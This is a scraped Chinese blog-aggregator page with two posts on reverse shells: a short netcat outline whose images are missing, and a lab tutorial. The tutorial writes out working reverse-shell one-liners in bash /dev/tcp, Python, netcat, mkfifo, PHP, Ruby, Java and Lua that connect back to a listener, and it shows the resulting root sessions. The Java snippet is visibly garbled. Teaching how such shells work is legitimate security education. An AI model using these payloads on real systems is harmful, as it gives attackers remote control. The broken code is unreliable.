精华内容
下载资源
问答
  • 反弹shell

    2020-04-24 00:06:29
    什么是反弹shell NC使用 NC正向连接 NC反向连接 bash反弹shell 一、什么是反弹shell 通常我们通过web应用某漏洞成功拿到了webshell后,接下来我们往往更像直接获得一个虚拟终端,来方便更好的做后续的渗透。 shell...

    1. 什么是反弹shell
    2. NC使用
    3. NC正向连接
    4. NC反向连接
    5. bash反弹shell
    6. 脚本反弹shell



    一、什么是反弹shell

    通常我们通过web应用某漏洞成功拿到了webshell后,接下来我们往往更像直接获得一个虚拟终端,来方便更好的做后续的渗透。
    shell是操作主机的接口,反弹shell就是把shell送给别人,让其他人可以操作自己的计算机。



    回到顶部

    二、NC使用

    NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大,NC可以在两台设备上面相互交互,即侦听模式/传输模式。

    在这里插入图片描述



    回到顶部

    三、NC正向连接

    在这里插入图片描述



    回到顶部

    四、NC反向连接

    在这里插入图片描述

    在这里插入图片描述



    回到顶部

    五、bash反弹shell

    在这里插入图片描述


    回到顶部

    六、脚本反弹shell

    在这里插入图片描述

    回到顶部



    在这里插入图片描述

    知乎:叄贰壹

    简书:带只拖鞋去流浪

    关注我,带你一起写bug

    warning :未经授权,不得转载

    有问题的小伙伴请在下方留言,喜欢就点个赞吧

    展开全文
  • 反弹Shell

    2019-09-22 09:16:23
    大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。今天再告诉大家几种方法 环境...

    大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。今天再告诉大家几种方法

    环境说明:

    check1:192.168.233.10   C6  2.6.32-696.30.1.el6.x86_64  本地
    check2:192.168.233.20   C7  3.10.0-862.3.3.el7.x86_64   远程

    BASH:

    首先要在本地配置好nc工具,配置方法之前的文章有

    在本地使用nc监听一个端口:

    [root@wcy ~]# nc -lvv 6699

    在远程机器上操作:

    [root@localhost ~]# bash -i >& /dev/tcp/192.168.233.10/6699 0>&1

    本地可以看到远程机器的shell已经返回到本地上面

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    [root@localhost ~]# ip a
    ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
    valid_lft forever preferred_lft forever
    2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:6b:b8:d5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
    valid_lft forever preferred_lft forever
    [root@localhost ~]#

    原理:

    1. A主机开启9090端口的tcp服务

    2. B主机连接到A主机的9090的tcp服务

    3. A主机通过tcp服务把命令发到B主机

    4. B主机读取命令并且在bash中执行

    5. B主机把执行结果发给A主机

    Linux文件描述符,Linux shell的三种标准的文件描述符

    0 - stdin 代表标准输入,使用<或<<
    1 - stdout 代表标准输出,使用>或>>
    2 - stderr 代表标准错误输出,使用2>或2>>

    参数解释:

    bash -i  
    

    bash -i代表在本地打开一个bash,

    >&   
    

    当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

    也有师傅把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述

    [root@wcy ~]# cat check 2>1
    [root@wcy ~]# cat 1
    cat: check: 没有那个文件或目录
    [root@wcy ~]# cat check
    cat: check: 没有那个文件或目录
    [root@wcy ~]# 
    

      

    /dev/tcp/192.168.233.10/6699 

    就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机C6输入命令,输出以及错误输出的内容就会被传递显示到远程。

    0>&1
    

    代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:

    那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程

     

    python实现反弹shell:

    首先本地还需要监听一个端口

    [root@wcy ~]# nc -lvv 6699

    远程机器执行

    [root@localhost ~]# python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.233.10',6699));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
    

    成功反弹

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    [root@localhost ~]# ip a | grep inet
    ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
    [root@localhost ~]#
    

      

    nc版:

    本地主机打开一个监听端口

    [root@wcy ~]# nc -lvv 6699
    

    远程主机连接此端口,连接后(-e)并打开/bin/bash

    [root@localhost ~]# nc -e /bin/bash 192.168.233.10 6699

    效果如下:

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    ls
    anaconda-ks.cfg
    epel-release-latest-7.noarch.rpm
    krb5-libs-1.15.1-19.el7.x86_64.rpm
    nohup.out
    test.sh
    ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link
    

    或者

    [root@localhost ~]# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.233.10 6699 >/tmp/f

    效果如下:

    [root@wcy ~]# nc -lvv 6699
    Connection from 192.168.233.20 port 6699 [tcp/*] accepted
    sh-4.2# ls
    ls
    anaconda-ks.cfg
    epel-release-latest-7.noarch.rpm
    krb5-libs-1.15.1-19.el7.x86_64.rpm
    nohup.out
    test.sh
    sh-4.2# ip a | grep inet
    ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
    inet 192.168.233.20/24 brd 192.168.233.255 scope global noprefixroute ens32
    inet6 fe80::20c:29ff:fe6b:b8d5/64 scope link 
    sh-4.2#

     

     

    PHP版:

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    

      

    ruby版

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    

      

    java版本:

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5
    le read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()
    

      

    lua版本:

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    

     

    转载于:https://www.cnblogs.com/LuckWJL/p/9395412.html

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,283
精华内容 913
关键字:

反弹shell